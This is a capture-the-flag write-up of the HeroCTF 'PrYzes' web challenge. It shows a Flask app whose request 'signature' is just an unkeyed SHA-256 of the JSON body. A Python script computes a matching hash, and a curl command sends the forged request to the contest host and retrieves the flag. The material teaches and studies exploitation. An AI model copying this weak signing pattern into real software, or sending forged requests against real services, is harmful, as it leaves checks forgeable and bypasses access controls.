- Published on
HeroCTF - PrYzes - Web
- Authors
- Name
- Asif Masood
- @A51F221B
Challenge Overview
In this challenge, we are given a simple Flask web application that checks if a user is eligible to claim a prize by verifying a request’s signature and validating a date. Our goal is to bypass the verification to retrieve the flag.
Code
from flask import Flask, render_template, request, jsonify
import hashlib
import json
from os import getenv
from datetime import datetime
app = Flask(__name__)
FLAG = getenv("FLAG", "Hero{FAKE_FLAG}")
def compute_sha256(data):
sha256_hash = hashlib.sha256()
sha256_hash.update(data.encode("utf-8"))
return sha256_hash.hexdigest()
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
data = request.json
date_str = data.get("date")
received_signature = request.headers.get("X-Signature")
json_data = json.dumps(data)
expected_signature = compute_sha256(json_data)
if not received_signature == expected_signature:
return jsonify({"error": "Invalid signature"}), 400
if not date_str:
return jsonify({"error": "Date is missing"}), 400
try:
date_obj = datetime.strptime(date_str, "%d/%m/%Y")
if date_obj.year >= 2100:
return jsonify({"message": FLAG}), 200
return jsonify({"error": "Please come back later..."}), 400
except ValueError:
return jsonify({"error": "Invalid date format"}), 400
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=5000)
Code Analysis
The code reveals the following:
Signature Verification: The server expects an X-Signature header that matches the SHA-256 hash of the JSON payload. If the signature doesn’t match, a 400 Bad Request error is returned.
Date Validation: The endpoint expects a JSON body with a date in dd/mm/yyyy format. If the date is >= 2100, the server responds with the flag. Otherwise, it returns an error message.
Approach
Understanding Signature Requirements: We observe that the signature is generated using SHA-256 over the JSON payload. By analyzing the given code, we see the correct format of the X-Signature header required to pass the verification.
Crafting the Request: The date field in the payload should be set to "01/01/2100" to meet the requirement for retrieving the flag.
Testing with Known Signature: Given a valid signature (63e0f11112f0f5f5d0954ea12298539b6d3a945ec01b2beac8d69475f2b522d6), we construct a request with this signature and the required date to pass both the signature and date checks.
Script to calculate a valid signature :
import hashlib
import json
data = {"date": "01/01/2100"}
json_data = json.dumps(data)
signature = hashlib.sha256(json_data.encode("utf-8")).hexdigest()
print("Signature:", signature)
Exploitation Using the following curl command, we send the request to retrieve the flag:
╭─asif@Asifs-Air ~/Downloads/PrYzes
╰─$ curl -X POST http://web.heroctf.fr:5000/api/prizes \
-H "Content-Type: application/json" \
-H "X-Signature: 63e0f11112f0f5f5d0954ea12298539b6d3a945ec01b2beac8d69475f2b522d6" \
-d '{"date": "01/01/2100"}'
{"message":"Hero{PrYzes_4r3_4m4z1ng!!!9371497139}"}